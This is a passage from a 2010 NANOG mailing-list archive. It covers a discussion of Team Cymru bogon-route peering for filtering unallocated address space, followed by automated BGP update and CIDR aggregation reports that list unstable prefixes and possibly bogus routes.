(dest and source) thanks to uRPF. No manual config or rule manipulation. Steve From jack at crepinc.com Fri Feb 12 15:14:04 2010 From: jack at crepinc.com (Jack Carrozzo) Date: Fri, 12 Feb 2010 16:14:04 -0500 Subject: CYMRU Bogon Peering In-Reply-To: <4B75C3C6.508@ibctech.ca> References: <4B75C3C6.508@ibctech.ca> Message-ID: <2ad0f9f61002121314p7d081ae0o9dc365b699f0443e@mail.gmail.com> I agree - quick setup and no issues. A++ Would Peer Again -Jack Carrozzo On Fri, Feb 12, 2010 at 4:10 PM, Steve Bertrand wrote: > Thomas Magill wrote: >> In efforts to further protect us against threats I am considering >> establishing Bogon peers to enable me to filter unallocated address >> space. ?I am just wondering if this is a worthwhile step to take and if >> anyone has ran into any issues or points of concern that I may want to >> take into account. ?Thanks in advance for any input. > > I've used the service for a couple of years, and I find it works > wonderfully. Newly distributed IANA blocks are removed promptly, so no > need to worry about that. > > I peer with Cymru on my RTBH trigger boxes, which then redistribute the > list to all edge gear which blackholes it (dest and source) thanks to uRPF. > > No manual config or rule manipulation. > > Steve > > > From tmagill at providecommerce.com Fri Feb 12 15:19:22 2010 From: tmagill at providecommerce.com (Thomas Magill) Date: Fri, 12 Feb 2010 13:19:22 -0800 Subject: CYMRU Bogon Peering In-Reply-To: <2ad0f9f61002121314p7d081ae0o9dc365b699f0443e@mail.gmail.com> References: <4B75C3C6.508@ibctech.ca> <2ad0f9f61002121314p7d081ae0o9dc365b699f0443e@mail.gmail.com> Message-ID: Thanks to everyone who replied. That settles it! I'm going to do it. -----Original Message----- From: Jack Carrozzo [mailto:jack at crepinc.com] Sent: Friday, February 12, 2010 1:14 PM To: Steve Bertrand Cc: Thomas Magill; nanog at nanog.org Subject: Re: CYMRU Bogon Peering I agree - quick setup and no issues. A++ Would Peer Again -Jack Carrozzo On Fri, Feb 12, 2010 at 4:10 PM, Steve Bertrand wrote: > Thomas Magill wrote: >> In efforts to further protect us against threats I am considering >> establishing Bogon peers to enable me to filter unallocated address >> space. ?I am just wondering if this is a worthwhile step to take and if >> anyone has ran into any issues or points of concern that I may want to >> take into account. ?Thanks in advance for any input. > > I've used the service for a couple of years, and I find it works > wonderfully. Newly distributed IANA blocks are removed promptly, so no > need to worry about that. > > I peer with Cymru on my RTBH trigger boxes, which then redistribute the > list to all edge gear which blackholes it (dest and source) thanks to uRPF. > > No manual config or rule manipulation. > > Steve > > > From babydr at baby-dragons.com Fri Feb 12 15:21:40 2010 From: babydr at baby-dragons.com (Mr. James W. Laferriere) Date: Fri, 12 Feb 2010 12:21:40 -0900 (AKST) Subject: CYMRU Bogon Peering In-Reply-To: <680a83091002121255l3044db2aq69c6fb778a81c416@mail.gmail.com> References: <680a83091002121255l3044db2aq69c6fb778a81c416@mail.gmail.com> Message-ID: Hello All , On Fri, 12 Feb 2010, Bill Blackford wrote: > On Fri, Feb 12, 2010 at 12:51 PM, Thomas Magill > wrote: > >> In efforts to further protect us against threats I am considering >> establishing Bogon peers to enable me to filter unallocated address >> space. I am just wondering if this is a worthwhile step to take and if >> anyone has ran into any issues or points of concern that I may want to >> take into account. Thanks in advance for any input. >> >> >> >> Thomas Magill >> Network Engineer >> Office: (858) 909-3777 >> Cell: (858) 869-9685 >> mailto:tmagill at providecommerce.com >> provide-commerce >> 4840 Eastgate Mall >> San Diego, CA 92121 > > I've been doing this for some time on two routers injecting the null routes > into my AS. No issues. Beats the heck out of trying to use ACLs. However, > the prefix count is rapidly diminishing as more blocks are being released by > the various RIRs hence being pulled from the bogon list. > -b I've a question for the CYMRU Team , My reasoning for posting here is to get a much wide knowledge base . Does or Is the 'Bogon Peering' Product(?) , Only at the IANA->RIR allocations level ? F.E.: IANA has allocated 1.0.0.0/8 to RIPE . Or Does the product also include the actual remaining non-allocated space at the RIR->EU level ? (**) F.E: RIPE has allocated 1.0.1.0/24 to anubusstupidity, inc. Tia , JimL ps: I am Very well aware that (so far) there is no standard format for returned requests from *whois daemons . -- +------------------------------------------------------------------+ | James W. Laferriere | System Techniques | Give me VMS | | Network&System Engineer | 3237 Holden Road | Give me Linux | | babydr at baby-dragons.com | Fairbanks, AK. 99709 | only on AXP | +------------------------------------------------------------------+ From jack at crepinc.com Fri Feb 12 15:24:43 2010 From: jack at crepinc.com (Jack Carrozzo) Date: Fri, 12 Feb 2010 16:24:43 -0500 Subject: CYMRU Bogon Peering In-Reply-To: References: <680a83091002121255l3044db2aq69c6fb778a81c416@mail.gmail.com> Message-ID: <2ad0f9f61002121324g51b13213oe2a599935df0b375@mail.gmail.com> Current list of prefixes Cymru considers bogon: http://www.cymru.com/Documents/bogon-bn-nonagg.txt Does that answer the question? -Jack Carrozzo On Fri, Feb 12, 2010 at 4:21 PM, Mr. James W. Laferriere wrote: > ? ? ? ?Hello All , > > On Fri, 12 Feb 2010, Bill Blackford wrote: >> >> On Fri, Feb 12, 2010 at 12:51 PM, Thomas Magill >> >> >>> wrote: >> >>> In efforts to further protect us against threats I am considering >>> establishing Bogon peers to enable me to filter unallocated address >>> space. ?I am just wondering if this is a worthwhile step to take and if >>> anyone has ran into any issues or points of concern that I may want to >>> take into account. ?Thanks in advance for any input. >>> >>> >>> >>> Thomas Magill >>> Network Engineer >>> Office: (858) 909-3777 >>> Cell: (858) 869-9685 >>> mailto:tmagill at providecommerce.com >>> provide-commerce >>> 4840 Eastgate Mall >>> San Diego, CA ?92121 >> >> I've been doing this for some time on two routers injecting the null >> routes >> into my AS. No issues. Beats the heck out of trying to use ACLs. However, >> the prefix count is rapidly diminishing as more blocks are being released >> by >> the various RIRs hence being pulled from the bogon list. >> -b > > ? ? ? ?I've a question for the CYMRU Team , ?My reasoning for posting here > is to get a much wide knowledge base . > > ? ? ? ?Does or Is the 'Bogon Peering' Product(?) , ?Only at the IANA->RIR > allocations level ? ? F.E.: ?IANA has allocated 1.0.0.0/8 to RIPE . > > ? ? ? ?Or > > ? ? ? ?Does the product also include the actual remaining non-allocated > space at the RIR->EU level ? (**) ? F.E: RIPE has allocated 1.0.1.0/24 to > anubusstupidity, inc. > > ? ? ? ? ? ? ? ?Tia , ?JimL > > ps: ? ? I am Very well aware that (so far) there is no standard format for > returned requests from *whois daemons . > -- > +------------------------------------------------------------------+ > | James ? W. ? Laferriere | System ? ?Techniques | Give me VMS ? ? | > | Network&System Engineer | 3237 ? ? Holden Road | ?Give me Linux ?| > | babydr at baby-dragons.com | Fairbanks, AK. 99709 | ? only ?on ?AXP | > +------------------------------------------------------------------+ > > From twilde at cymru.com Fri Feb 12 15:47:42 2010 From: twilde at cymru.com (Tim Wilde) Date: Fri, 12 Feb 2010 16:47:42 -0500 Subject: CYMRU Bogon Peering In-Reply-To: References: <680a83091002121255l3044db2aq69c6fb778a81c416@mail.gmail.com> Message-ID: <4B75CC7E.4010908@cymru.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 2/12/2010 4:21 PM, Mr. James W. Laferriere wrote: > I've a question for the CYMRU Team , My reasoning for posting here > is to get a much wide knowledge base . > > Does or Is the 'Bogon Peering' Product(?) , Only at the IANA->RIR > allocations level ? F.E.: IANA has allocated 1.0.0.0/8 to RIPE . > > Or > > Does the product also include the actual remaining non-allocated > space at the RIR->EU level ? (**) F.E: RIPE has allocated 1.0.1.0/24 > to anubusstupidity, inc. Jim & All, The current bogon reference projects we have available only include the first of your examples - netblocks which have not been allocated by IANA to an RIR. However, we are currently in a beta testing phase of a similar feed which also includes netblocks that have not yet been allocated or assigned by the RIRs. We will also be offering the same type of bogon feed for IPv6, something we've been asked about quite a bit recently! We will be releasing more information about this service once it is ready for a wider audience. You can keep an eye on a number of places for this type of announcement: * Our web site, http://www.team-cymru.org/ * Our announcements mailing list, subscribe via cymru-announce-subscribe at cymru.com * Our Twitter feed, http://twitter.com/teamcymru * Our weekly YouTube show, http://www.youtube.com/teamcymru Thanks to all for your interest and feedback - we're glad to hear that you are finding the bogon references useful in your networks! Best Regards, Tim Wilde - -- Tim Wilde, Senior Software Engineer, Team Cymru, Inc. twilde at cymru.com | +1-630-230-5433 | http://www.team-cymru.org/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkt1zH4ACgkQluRbRini9tjQEwCcDwVNldtYR+tcmaUGoF9KaPi8 90IAn2tQA57bnLQQPS7A8qFZIh+11Z9F =Q+yv -----END PGP SIGNATURE----- From randy at psg.com Fri Feb 12 15:51:51 2010 From: randy at psg.com (Randy Bush) Date: Sat, 13 Feb 2010 05:51:51 +0800 Subject: Linux Router distro's with dual stack capability In-Reply-To: <20100211234613.246141CC09@ptavv.es.net> References: <20100211232013.GS27179@angus.ind.WPI.EDU> <20100211234613.246141CC09@ptavv.es.net> Message-ID: > FreeBSD has supported polling for a long time (V6?) and interrupt > coalescing since some release of V7. (Latest release is V8.) exactly. and they kick ass randy From cidr-report at potaroo.net Fri Feb 12 16:00:02 2010 From: cidr-report at potaroo.net (cidr-report at potaroo.net) Date: Fri, 12 Feb 2010 22:00:02 GMT Subject: BGP Update Report Message-ID: <201002122200.o1CM02mP061595@wattle.apnic.net> BGP Update Report Interval: 04-Feb-10 -to- 11-Feb-10 (7 days) Observation Point: BGP Peering with AS131072 TOP 20 Unstable Origin AS Rank ASN Upds % Upds/Pfx AS-Name 1 - AS3300 188306 14.4% 3552.9 -- BT-INFONET-EUROPE BT-Infonet-Europe 2 - AS18170 84302 6.4% 4958.9 -- CHANGWON-AS-KR Changwon National University 3 - AS24084 61350 4.7% 3608.8 -- 4 - AS9430 47691 3.6% 1644.5 -- STPI-NOIDA Software Technology Parks of India,Block-IV 5 - AS26118 24585 1.9% 409.8 -- Ministerio Publico Federal-Proc. Geral daRepublica 6 - AS31055 19524 1.5% 9762.0 -- CONSULTIX-AS Consultix GmbH 7 - AS7303 15725 1.2% 23.8 -- Telecom Argentina S.A. 8 - AS38028 14295 1.1% 4765.0 -- MCKINSEY-AP MCKINSEY-AP 9 - AS18167 13474 1.0% 3368.5 -- HCLCOMNET-AS-IN HCL Comnet Systems & Services Ltd 10 - AS5800 12932 1.0% 49.0 -- DNIC-ASBLK-05800-06055 - DoD Network Information Center 11 - AS3 11618 0.9% 213.0 -- AZRT-AS Azertelekom 12 - AS45408 11558 0.9% 5779.0 -- 13 - AS14420 11077 0.8% 28.5 -- CORPORACION NACIONAL DE TELECOMUNICACIONES CNT S.A. 14 - AS5536 10018 0.8% 135.4 -- Internet-Egypt 15 - AS9829 9139 0.7% 15.4 -- BSNL-NIB National Internet Backbone 16 - AS1916 8768 0.7% 143.7 -- Rede Nacional de Ensino e Pesquisa 17 - AS17974 8465 0.7% 17.0 -- TELKOMNET-AS2-AP PT Telekomunikasi Indonesia 18 - AS28878 8463 0.7% 1057.9 -- SIGNET-AS Signet B.V. 19 - AS36992 8455 0.7% 28.1 -- ETISALAT-MISR 20 - AS16569 8352 0.6% 8352.0 -- ASN-CITY-OF-CALGARY - City of Calgary TOP 20 Unstable Origin AS (Updates per announced prefix) Rank ASN Upds % Upds/Pfx AS-Name 1 - AS31055 19524 1.5% 9762.0 -- CONSULTIX-AS Consultix GmbH 2 - AS16569 8352 0.6% 8352.0 -- ASN-CITY-OF-CALGARY - City of Calgary 3 - AS45408 11558 0.9% 5779.0 -- 4 - AS26025 5293 0.4% 5293.0 -- COC - City of Calgary 5 - AS18170 84302 6.4% 4958.9 -- CHANGWON-AS-KR Changwon National University 6 - AS38028 14295 1.1% 4765.0 -- MCKINSEY-AP MCKINSEY-AP 7 - AS24084 61350 4.7% 3608.8 -- 8 - AS3300 188306 14.4% 3552.9 -- BT-INFONET-EUROPE BT-Infonet-Europe 9 - AS18167 13474 1.0% 3368.5 -- HCLCOMNET-AS-IN HCL Comnet Systems & Services Ltd 10 - AS5691 2349 0.2% 2349.0 -- MITRE-AS-5 - The MITRE Corporation 11 - AS9430 47691 3.6% 1644.5 -- STPI-NOIDA Software Technology Parks of India,Block-IV 12 - AS18221 3501 0.3% 1167.0 -- TSN-AP TSN Communications 13 - AS28878 8463 0.7% 1057.9 -- SIGNET-AS Signet B.V. 14 - AS27245 972 0.1% 972.0 -- HEIDRICK-CHICAGO - HEIDRICK 15 - AS29421 784 0.1% 784.0 -- DCI-AS Digital Communications Incorporated Ltd. 16 - AS33405 603 0.1% 603.0 -- CLIFFORD-PROJECTS - Clifford Projects, Inc. 17 - AS35400 1071 0.1% 535.5 -- MFIST Interregoinal Organization Network Technologies 18 - AS27027 436 0.0% 436.0 -- ANBELL ASN-ANBELL 19 - AS18439 428 0.0% 428.0 -- VISTATSI - VISTA Technology Services Inc. 20 - AS10445 2548 0.2% 424.7 -- HTG - Huntleigh Telcom TOP 20 Unstable Prefixes Rank Prefix Upds % Origin AS -- AS Name 1 - 62.168.199.0/24 19522 1.4% AS31055 -- CONSULTIX-AS Consultix GmbH 2 - 208.98.230.0/24 8352 0.6% AS16569 -- ASN-CITY-OF-CALGARY - City of Calgary 3 - 62.193.80.0/24 7544 0.5% AS5536 -- Internet-Egypt 4 - 203.28.157.0/24 6100 0.4% AS4802 -- ASN-IINET iiNet Limited 5 - 193.177.160.0/23 5867 0.4% AS28878 -- SIGNET-AS Signet B.V. 6 - 114.70.96.0/24 5779 0.4% AS45408 -- 7 - 114.70.97.0/24 5779 0.4% AS45408 -- 8 - 208.98.231.0/24 5293 0.4% AS26025 -- COC - City of Calgary 9 - 203.187.128.0/20 5248 0.4% AS3300 -- BT-INFONET-EUROPE BT-Infonet-Europe 10 - 203.187.131.0/24 5248 0.4% AS3300 -- BT-INFONET-EUROPE BT-Infonet-Europe 11 - 203.187.155.0/24 5248 0.4% AS3300 -- BT-INFONET-EUROPE BT-Infonet-Europe 12 - 203.187.154.0/24 5246 0.4% AS3300 -- BT-INFONET-EUROPE BT-Infonet-Europe 13 - 203.158.95.0/24 5246 0.4% AS3300 -- BT-INFONET-EUROPE BT-Infonet-Europe 14 - 203.187.151.0/24 5246 0.4% AS3300 -- BT-INFONET-EUROPE BT-Infonet-Europe 15 - 203.158.94.0/24 5246 0.4% AS3300 -- BT-INFONET-EUROPE BT-Infonet-Europe 16 - 61.14.12.0/24 5245 0.4% AS3300 -- BT-INFONET-EUROPE BT-Infonet-Europe 17 - 61.14.2.0/23 5244 0.4% AS3300 -- BT-INFONET-EUROPE BT-Infonet-Europe 18 - 61.14.1.0/24 5244 0.4% AS3300 -- BT-INFONET-EUROPE BT-Infonet-Europe 19 - 61.14.13.0/24 5244 0.4% AS3300 -- BT-INFONET-EUROPE BT-Infonet-Europe 20 - 203.187.136.0/21 5244 0.4% AS3300 -- BT-INFONET-EUROPE BT-Infonet-Europe Details at http://bgpupdates.potaroo.net ------------------------------------ Copies of this report are mailed to: nanog at merit.edu eof-list at ripe.net apops at apops.net routing-wg at ripe.net afnog at afnog.org From cidr-report at potaroo.net Fri Feb 12 16:00:00 2010 From: cidr-report at potaroo.net (cidr-report at potaroo.net) Date: Fri, 12 Feb 2010 22:00:00 GMT Subject: The Cidr Report Message-ID: <201002122200.o1CM00pV061590@wattle.apnic.net> This report has been generated at Fri Feb 12 21:11:25 2010 AEST. The report analyses the BGP Routing Table of AS2.0 router and generates a report on aggregation potential within the table. Check http://www.cidr-report.org for a current version of this report. Recent Table History Date Prefixes CIDR Agg 05-02-10 313323 192821 06-02-10 313551 192770 07-02-10 313475 192927 08-02-10 313644 193088 09-02-10 313515 193528 10-02-10 313485 193739 11-02-10 313242 194090 12-02-10 313721 194102 AS Summary 33558 Number of ASes in routing system 14272 Number of ASes announcing only one prefix 4376 Largest number of prefixes announced by an AS AS4323 : TWTC - tw telecom holdings, inc. 93118976 Largest address span announced by an AS (/32s) AS4134 : CHINANET-BACKBONE No.31,Jin-rong Street Aggregation Summary The algorithm used in this report proposes aggregation only when there is a precise match using the AS path, so as to preserve traffic transit policies. Aggregation is also proposed across non-advertised address space ('holes'). --- 12Feb10 --- ASnum NetsNow NetsAggr NetGain % Gain Description Table 313967 194156 119811 38.2% All ASes AS6389 4122 321 3801 92.2% BELLSOUTH-NET-BLK - BellSouth.net Inc. AS4323 4376 1831 2545 58.2% TWTC - tw telecom holdings, inc. AS4766 1858 485 1373 73.9% KIXS-AS-KR Korea Telecom AS4755 1453 408 1045 71.9% TATACOMM-AS TATA Communications formerly VSNL is Leading ISP AS22773 1113 71 1042 93.6% ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. AS1785 1843 855 988 53.6% AS-PAETEC-NET - PaeTec Communications, Inc. AS17488 1266 316 950 75.0% HATHWAY-NET-AP Hathway IP Over Cable Internet AS8151 1590 684 906 57.0% Uninet S.A. de C.V. AS18101 1091 201 890 81.6% RIL-IDC Reliance Infocom Ltd Internet Data Centre, AS10620 988 163 825 83.5% TV Cable S.A. AS19262 1063 244 819 77.0% VZGNI-TRANSIT - Verizon Internet Services Inc. AS8452 1004 325 679 67.6% TEDATA TEDATA AS6478 1104 434 670 60.7% ATT-INTERNET3 - AT&T WorldNet Services AS4808 850 237 613 72.1% CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network AS4804 678 72 606 89.4% MPX-AS Microplex PTY LTD AS18566 1059 478 581 54.9% COVAD - Covad Communications Co. AS7303 676 107 569 84.2% Telecom Argentina S.A. AS4134 1019 460 559 54.9% CHINANET-BACKBONE No.31,Jin-rong Street AS7018 1558 1005 553 35.5% ATT-INTERNET4 - AT&T WorldNet Services AS24560 844 293 551 65.3% AIRTELBROADBAND-AS-AP Bharti Airtel Ltd., Telemedia Services AS3356 1206 663 543 45.0% LEVEL3 Level 3 Communications AS17908 766 228 538 70.2% TCISL Tata Communications AS7545 967 465 502 51.9% TPG-INTERNET-AP TPG Internet Pty Ltd AS4780 630 141 489 77.6% SEEDNET Digital United Inc. AS5668 801 320 481 60.0% AS-5668 - CenturyTel Internet Holdings, Inc. AS17676 563 82 481 85.4% GIGAINFRA Softbank BB Corp. AS9443 555 79 476 85.8% INTERNETPRIMUS-AS-AP Primus Telecommunications AS35805 571 113 458 80.2% UTG-AS United Telecom AS AS22047 528 74 454 86.0% VTR BANDA ANCHA S.A. AS9299 665 216 449 67.5% IPG-AS-AP Philippine Long Distance Telephone Company Total 36807 11371 25436 69.1% Top 30 total Possible Bogus Routes 2.0.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 2.1.0.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 2.1.24.0/24 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 41.77.236.0/22 AS5.8 41.190.64.0/22 AS28683 OPT-NTIC-AS Office des Postes et telecommunications du Benin 41.190.66.0/24 AS37039 41.202.96.0/19 AS29571 CITelecom-AS 41.202.160.0/19 AS33788 KANARTEL-AS KANAR TELECOMMUNICATION ( KANARTEL) CO. LTD 41.205.0.0/19 AS16637 MTNNS-AS 41.205.2.0/24 AS16637 MTNNS-AS 41.205.4.0/24 AS16637 MTNNS-AS 41.205.6.0/24 AS16637 MTNNS-AS 41.205.7.0/24 AS16637 MTNNS-AS 41.205.8.0/24 AS16637 MTNNS-AS 41.205.9.0/24 AS16637 MTNNS-AS 41.205.10.0/24 AS16637 MTNNS-AS 41.205.11.0/24 AS16637 MTNNS-AS 41.205.12.0/24 AS16637 MTNNS-AS 41.205.13.0/24 AS16637 MTNNS-AS 41.205.14.0/24 AS16637 MTNNS-AS 41.205.15.0/24 AS16637 MTNNS-AS 41.205.16.0/24 AS16637 MTNNS-AS 41.205.18.0/24 AS16637 MTNNS-AS 41.205.19.0/24 AS16637 MTNNS-AS 41.205.20.0/24 AS16637 MTNNS-AS 41.205.21.0/24 AS16637 MTNNS-AS 41.205.22.0/24 AS16637 MTNNS-AS 41.205.23.0/24 AS16637 MTNNS-AS 41.205.24.0/24 AS16637 MTNNS-AS 41.205.25.0/24 AS16637 MTNNS-AS 41.205.26.0/24 AS16637 MTNNS-AS 41.205.27.0/24 AS16637 MTNNS-AS 41.205.29.0/24 AS16637 MTNNS-AS 41.216.32.0/19 AS28683 OPT-NTIC-AS Office des Postes et telecommunications du Benin 41.220.144.0/20 AS36918 OTAVSAT-AS ORASCOM TELECOM ALGERIE VSAT 41.220.159.0/24 AS36918 OTAVSAT-AS ORASCOM TELECOM ALGERIE VSAT 41.222.79.0/24 AS36938 AMSCOTELECOMS Amsco Telecommunications Nigeria Limited 41.223.24.0/22 AS25747 VSC-SATELLITE-CO - VSC Satellite Co. 41.223.92.0/22 AS36936 CELTEL-GABON Celtel Gabon Internet Service 41.223.188.0/24 AS22351 INTELSAT Intelsat Global BGP Routing Policy 41.223.189.0/24 AS26452 BRING-AS - BringCom, Inc. 41.223.196.0/24 AS36990 41.223.197.0/24 AS36990 41.223.198.0/24 AS36990 41.223.199.0/24 AS36990 46.0.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 46.1.0.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 46.1.24.0/24 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 62.61.220.0/24 AS24974 TACHYON-EU Tachyon Europe BV - Wireless Broadband via Satellite 62.61.221.0/24 AS24974 TACHYON-EU Tachyon Europe BV - Wireless Broadband via Satellite 62.193.160.0/19 AS22351 INTELSAT Intelsat Global BGP Routing Policy 63.140.213.0/24 AS22555 UTC - Universal Talkware Corporation 63.143.251.0/24 AS22555 UTC - Universal Talkware Corporation 64.82.128.0/19 AS16617 COMMUNITYISP - CISP 64.82.160.0/19 AS16617 COMMUNITYISP - CISP 66.128.38.0/24 AS15246 Telecomunicaciones Satelitales TelesatS.A. 66.180.239.0/24 AS35888 VIGNETTE - VIGNETTE CORPORATION 66.206.32.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.33.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.34.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.35.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.47.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 66.207.32.0/20 AS23011 66.230.240.0/20 AS27286 66.241.112.0/20 AS21547 REVNETS - Revolution Networks 66.245.176.0/20 AS19318 NJIIX-AS-1 - NEW JERSEY INTERNATIONAL INTERNET EXCHANGE LLC 69.6.80.0/24 AS13442 69.6.81.0/24 AS13442 69.71.192.0/20 AS13818 PHX-INTL-TELEPORT - Phoenix International Teleport 69.80.224.0/19 AS19166 ACRONOC - ACRONOC INC 71.19.134.0/23 AS3313 INET-AS I.NET S.p.A. 71.19.160.0/23 AS4648 NZIX-2 Netgate 74.122.120.0/22 AS46785 LDC1001TX - Lakota Data Center LLC 80.86.240.0/20 AS42005 LIGHTSTORM-COMMUNICATIONS-SRO-SK-AS LightStorm Communications s.r.o. 80.88.10.0/24 AS33774 DJAWEB 80.88.12.0/24 AS33779 wataniya-telecom-as 80.248.64.0/24 AS30982 CAFETG AS de CAFE Informatique 80.248.65.0/24 AS30982 CAFETG AS de CAFE Informatique 80.248.66.0/23 AS30982 CAFETG AS de CAFE Informatique 80.248.68.0/23 AS30982 CAFETG AS de CAFE Informatique 80.248.70.0/24 AS30982 CAFETG AS de CAFE Informatique 80.248.71.0/24 AS30982 CAFETG AS de CAFE Informatique 80.248.72.0/21 AS30982 CAFETG AS de CAFE Informatique 81.91.224.0/20 AS28683 OPT-NTIC-AS Office des Postes et telecommunications du Benin 100.100.100.0/24 AS36992 ETISALAT-MISR 109.201.128.0/19 AS43350 NFORCE NFOrce Entertainment BV AS 110.34.40.0/22 AS24399 ABN-PEERING-AS-AP Asia Broadcast Networks Peering AS 110.34.44.0/22 AS12653 COMTONET KB Impuls Hellas 117.120.56.0/21 AS4755 TATACOMM-AS TATA Communications formerly VSNL is Leading ISP 121.46.0.0/16 AS4134 CHINANET-BACKBONE No.31,Jin-rong Street 121.50.168.0/21 AS9931 CAT-AP The Communication Authoity of Thailand, CAT 158.222.70.0/23 AS6137 SISNA - SISNA, Inc. 158.222.72.0/23 AS6137 SISNA - SISNA, Inc. 158.222.224.0/20 AS19864 O1COMM - O1 COMMUNICATIONS 158.222.224.0/22 AS19864 O1COMM - O1 COMMUNICATIONS 158.222.229.0/24 AS19864 O1COMM - O1 COMMUNICATIONS 172.7.0.0/24 AS36992 ETISALAT-MISR 178.164.0.0/17 AS34087 NTE-BREDBAND NTE Bredband, Norway 190.102.32.0/20 AS30058 FDCSERVERS - FDCservers.net 192.9.0.0/16 AS11479 BRM-SUN-AS - Sun Microsystems, Inc 192.64.85.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.108.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.70.164.0/24 AS25689 NRCNET-AS - National Research Council of Canada 192.101.45.0/24 AS2905 TICSA-ASN 192.101.46.0/24 AS6503 Axtel, S.A.B. de C. V. 192.101.64.0/21 AS702 AS702 Verizon Business EMEA - Commercial IP service provider in Europe 192.101.70.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 192.101.71.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 192.101.72.0/24 AS702 AS702 Verizon Business EMEA - Commercial IP service provider in Europe 192.101.74.0/24 AS1239 SPRINTLINK - Sprint 192.124.248.0/23 AS680 DFN-IP service X-WiN 192.124.252.0/22 AS680 DFN-IP service X-WiN 192.129.127.0/24 AS6568 Ag para el Desarrollo de la Sociedad de la Inf en Bolivia - ADSIB 192.131.233.0/24 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 192.133.6.0/24 AS10282 ORANGE-BUSINESS-SERVICES-CEEUR Orange Business Services (formerly Equant) AS for CEEUR 192.139.3.0/24 AS23184 PERSONA - PERSONA COMMUNICATIONS INC. 192.145.251.0/24 AS38091 HELLONET-AS-KR CJ-CABLENET 192.153.144.0/21 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 192.154.32.0/19 AS81 NCREN - MCNC 192.154.64.0/19 AS81 NCREN - MCNC 192.188.208.0/20 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 195.110.34.0/23 AS45753 NETSEC-HK Unit 1205-1207 195.110.34.0/24 AS45753 NETSEC-HK Unit 1205-1207 195.110.35.0/24 AS45753 NETSEC-HK Unit 1205-1207 196.2.224.0/22 AS24863 LINKdotNET-AS 196.6.108.0/24 AS5713 SAIX-NET 196.13.201.0/24 AS2018 TENET-1 196.13.202.0/24 AS2018 TENET-1 196.13.203.0/24 AS2018 TENET-1 196.13.204.0/24 AS2018 TENET-1 196.29.40.0/22 AS36918 OTAVSAT-AS ORASCOM TELECOM ALGERIE VSAT 196.29.160.0/19 AS33788 KANARTEL-AS KANAR TELECOMMUNICATION ( KANARTEL) CO. LTD 196.32.96.0/20 AS33787 196.201.248.0/24 AS30991 SAHANNET Sahannet AS Network 196.201.249.0/24 AS30991 SAHANNET Sahannet AS Network 196.201.250.0/24 AS30991 SAHANNET Sahannet AS Network 196.201.251.0/24 AS30991 SAHANNET Sahannet AS Network 196.201.253.0/24 AS30991 SAHANNET Sahannet AS Network 196.201.254.0/24 AS30991 SAHANNET Sahannet AS Network 196.201.255.0/24 AS30991 SAHANNET Sahannet AS Network 196.202.224.0/21 AS8818 TELE Greenland Autonomous System 196.202.232.0/21 AS16637 MTNNS-AS 196.202.234.0/24 AS16637 MTNNS-AS 196.202.237.0/24 AS16637 MTNNS-AS 196.202.238.0/24 AS16637 MTNNS-AS 196.216.4.0/22 AS23889 MAURITIUS-TELECOM-AS-AP 198.1.2.0/24 AS4761 INDOSAT-INP-AP INDOSAT Internet Network Provider 198.23.26.0/24 AS33052 VZUNET - Verizon Data Services LLC 198.73.210.0/24 AS21570 ACI-1 - Accelerated Connections Inc. 198.97.72.0/21 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 198.97.96.0/19 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 198.97.240.0/20 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 198.135.236.0/24 AS4358 XNET - XNet Information Systems, Inc. 198.161.82.0/23 AS15290 ALLST-15290 - Allstream Corp. 198.161.87.0/24 AS6539 GT-BELL - Bell Canada 198.161.92.0/24 AS6539 GT-BELL - Bell Canada 198.163.214.0/24 AS21804 ACCESS-SK - Access Communications Co-operative Limited 198.163.215.0/24 AS6327 SHAW - Shaw Communications Inc. 198.163.216.0/24 AS6327 SHAW - Shaw Communications Inc. 198.167.0.0/16 AS7456 INTERHOP - Interhop Network SERVICES Inc. 198.168.0.0/16 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 198.169.0.0/16 AS803 SASKTEL - Saskatchewan Telecommunications 198.180.198.0/24 AS23715 SEOUL-INTGW-GXS-AP Global Exchange Services 198.182.235.0/24 AS3356 LEVEL3 Level 3 Communications 199.10.0.0/16 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.16.32.0/19 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 199.26.183.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 199.114.128.0/18 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.114.130.0/24 AS6045 DNIC-ASBLK-05800-06055 - DoD Network Information Center 199.114.131.0/24 AS6045 DNIC-ASBLK-05800-06055 - DoD Network Information Center 199.114.132.0/24 AS6045 DNIC-ASBLK-05800-06055 - DoD Network Information Center 199.114.136.0/24 AS27044 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.114.138.0/24 AS6045 DNIC-ASBLK-05800-06055 - DoD Network Information Center 199.114.140.0/24 AS3544 ITSDN-U7 - DoD Network Information Center 199.114.142.0/24 AS6045 